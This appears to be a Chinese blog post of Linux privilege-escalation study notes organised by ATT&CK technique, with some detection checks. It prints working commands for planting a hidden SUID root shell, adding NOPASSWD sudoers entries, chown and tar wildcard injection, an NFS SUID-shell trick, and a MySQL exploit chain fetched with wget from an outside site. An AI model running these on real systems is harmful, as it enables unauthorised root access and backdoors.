ATT&CK TTP Privilege Escalation

收集的一些ATT&CK的提权TTP

Abuse Elevation Control Mechanism 滥用权限控制机制 T1548

Setuid and Setgid T1548.001

排查:find / -perm -4000 2>/dev/null 查看具有suid的文件

Suid配置错误

gtfobins 中记录的suid即为这种利用方法

放置SUID Shell

copy一份bash 直接赋予suid

cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell
#bash2针对suid做了一些护卫措施
#普通用户在本机运行/dev/.rootshell,即可获得一个root权限的shell。
/.rootshell -p
#使用-p参数来获取一个root shell. 这个euid的意思是 effective user id
#这里要特别注意的是,作为一个普通用户执行这个SUID shell时,一定要使用全路径。

也可以重新编译类似以下代码

int main() {
       setuid(0);
       setgid(0);
       execl("/bin/sh","ps","-i", NULL);
       return 0;
}

Sudo and Sudo Caching T1548.003

滥用sudo权利

gtfobins中记录的sudo即为这种利用方法
FallofSudo - Pwning sudo rules
还可以利用其他由root调用的可写脚本

排查:检查sudoer中有没有可以被滥用的程序

直接赋予普通用户权限

sudo su -c "echo 'user ALL = NOPASSWD: ALL' >> /etc/sudoers.d/README"  
#授权用户/组 主机=[(切换到哪些用户或组)] [是否需要输入密码验证] 命令1,命令2,...

排查:检查sudoer文件内容

CVE-2021-3156

某些版本的sudo存在严重缓冲区溢出漏洞,使得攻击者无需知道用户密码,就可以获得root权限。 当使用sudo -s或者-i命令时,应该在命令参数中加反斜杠转义特殊字符,但实际上,没有进行转义,从而导致缓冲区溢出。因此只要存在sudoer文件,就可以使用普通用户获取root权限。
影响范围: sudo 1.8.2-1.8.21p2 1.9.0-1.9.5p1
版本号 >=1.9.5p2 不受影响
sudoedit -s / 没有返回usage就可能存在该漏洞。
CVE-2021-3156

Create or Modify System Process 建立或修改系统进程 T1543

以root身份运行的程序

如果特定服务以root用户身份运行,并且我们可以使该服务执行命令,则可以root用户身份执行命令。
ps -aux | grep root
拥有root权限的程序的二进制漏洞利用远没有内核漏洞利用危险,因为即使服务崩溃,主机也不会崩溃,并且服务可能会自动重启。

除非真正需要,否则切勿以root用户身份运行任何服务,尤其是Web,数据库和文件服务器。 已安装的软件。

利用“.”路径配置错误

如果环境变量中存在.且优先级最高 可以在用户经常操作的位置创建名为ls一类的脚本 实现任意命令执行。

NFS提权

当服务器中存在NFS共享,开启no_root_squash选项时,如果客户端使用的是root用户,那么对于共享目录来说,该客户端就有root权限,可以使用它来提升权限。

#查看NFS服务器上的共享目录
sudo showmount -e 10.1.1.233
#创建本地挂载目录,挂载共享目录。使用攻击者本地root权限创建Suid shell。
sudo mkdir -p /tmp/data
sudo mount -t nfs 10.1.1.233:/home/bypass /tmp/data
cp /bin/bash /tmp/data/shell
chmod u+s /tmp/data/shell
#回到要提权的服务器上,使用普通用户使用-p参数来获取root权限。

MySQL提权

UDF提权

UDF是MySQL的一个共享库,通过udf创建能够执行系统命令的函数sys_exec、sys_eval,使得入侵者能够获得一般情况下无法获得的shell执行权限。

secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的

  • 当secure_file_priv的值为null ,表示限制mysql不允许导入导出。
  • 当secure_file_priv的值为/tmp/ ,表示限制mysql的导入导出只能发生在/tmp/目录下。
  • 当secure_file_priv的值没有具体值时,表示不对mysql的导入导出做限制。
  • 通过执行SHOW VARIABLES LIKE “secure_file_priv”;查看secure-file-priv的状态。

UDF提权条件

  • mysql以root权限运行
  • 在mysql库下必须有func表,并且在‑‑skip‑grant‑tables开启的情况下,UDF会被禁止。
CVE-2016-6663、CVE-2016-6664

组合利用的提取场景,可以将一个www-data权限提升到root权限。

#利用CVE-2016-6663将www-data权限提升为mysql权限
cd /var/www/html/
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
./mysql-privesc-race test 123456 localhost testdb
#利用CVE-2016-6664将Mysql权限提升为root权限:
wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh
chmod 777 mysql-chowned.sh
./mysql-chowned.sh /var/log/mysql/error.log

Escape to Host T1611

docker逃逸

Event Triggered Execution T1546

TA0003_Presistence - Event Triggered Execution 事件触发执行 T1546

通配符注入 Wildcard Injection

gtfobins中记录的shell可以利用此方法进行命令执行

Chown是一个可让用户更改指定文件的所有者的程序。
具有--reference=<another file>参数,With --reference, change the owner and group of each FILE to those of RFILE.
首先假设我们有一个存在问题的程序或脚本 包含了一个诸如 chown root:root * 这种包含了通配符的命令。

#利用chown
touch "reference"                #随意创建一个文件 所有者是我们
touch -- "--reference=reference" #用来注入 
ln -s /etc/shadow ./             #建立我们想要获取权限文件的软链接
chown root:root *                #等待或触发命令运行 我们就会获取到目标文件的权限 属主和属组与我们建立的reference文件一致  
#利用tar
touch -- "--checkpoint=1"  
echo 'echo "my-user ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > demo.sh  
touch -- "--checkpoint-action=exec=sh demo.sh"  
tar -zcf /var/backups/html.tgz /var/www/html/*   #定时备份任务触发后 获取sudo权限

Exploitation for Privilege Escalation 利用提权漏洞 T1068

利用内核漏洞

PoCs
linux-exploit-suggester

CVE-2016-5195 (DirtyCow)

dirtycow
影响低于一下内核版本的发行版

 version
Centos7 /RHEL73.10.0-327.36.3.el7
Cetnos6/RHEL62.6.32-642.6.2.el6
Ubuntu 16.104.8.0-26.28
Ubuntu 16.044.4.0-45.66
Ubuntu 14.043.13.0-100.147
Debian 83.16.36-1+deb8u2
Debian 73.2.82-1

Process Injection 进程注入 T1055

Ptrace System Calls Ptrace系统调用 T1055.008

sudo_inject
重用 sudo tokens 实现提权

排查: /proc/sys/kernel/yama/ptrace_scope 不应为0
该值的说明如下:

0 - classic ptrace permissions: a process can PTRACE_ATTACH to any other process running under the same uid, as long as it is dumpable (i.e. did not transition uids, start privileged, or have called prctl(PR_SET_DUMPABLE...) already). Similarly, PTRACE_TRACEME is unchanged.
1 - restricted ptrace: a process must have a predefined relationship with the inferior it wants to call PTRACE_ATTACH on. By default, this relationship is that of only its descendants when the above classic criteria is also met. To change the relationship, an inferior can call prctl(PR_SET_PTRACER, debugger, ...) to declare an allowed debugger PID to call PTRACE_ATTACH on the inferior. Using PTRACE_TRACEME is unchanged.
2 - admin-only attach: only processes with CAP_SYS_PTRACE may use ptrace with PTRACE_ATTACH, or through children calling PTRACE_TRACEME.
3 - no attach: no processes may use ptrace with PTRACE_ATTACH nor via PTRACE_TRACEME. Once set, this sysctl value cannot be changed.

Proc Memory T1055.009

VDSO Hijacking 虚拟动态共享对象劫持 T1055.014

劫持vdso能够成功提权的条件是有root权限的程序调用vdso,如crontab。

Scheduled Task/Job 定时任务计划 T1053

定时任务计划在指定的日期和时间运行命令。它与特定用户一起运行命令。因此,我们可以尝试滥用它来实现特权升级。
1.检查定时计划任务运行的脚本的文件权限。如果权限设置不正确,则攻击者可能会覆盖文件并轻松获取定时计划任务中设置的用户权限。
2.使用通配符注入。

Reference

gtfobins
Windows / Linux Local Privilege Escalation Workshop
hacktricks-privilege-escalation
exploiting-wildcard-for-privilege-escalation
通配符注入-译上文
Linux提权一文通
MySQL 漏洞利用与提权
CentOS 7系统利用suid提权获取Root Shell
Mysql Udf提权
Linux提权总结
basic-linux-privilege-escalation
linux kernel pwn学习之劫持vdso
KERNEL PWN入门总结——从内存任意读写到权限提升
任意地址读写到提权的4种方法
无需 Ptrace 实现 Linux 进程间代码注入
PEASS - Privilege Escalation Awesome Scripts SUITE
BeRoot - Privilege Escalation Project


© 2021. All rights reserved.

本站总访问量 Web Analytics

Powered by Hydejack v9.1.2 & Moded by ZYA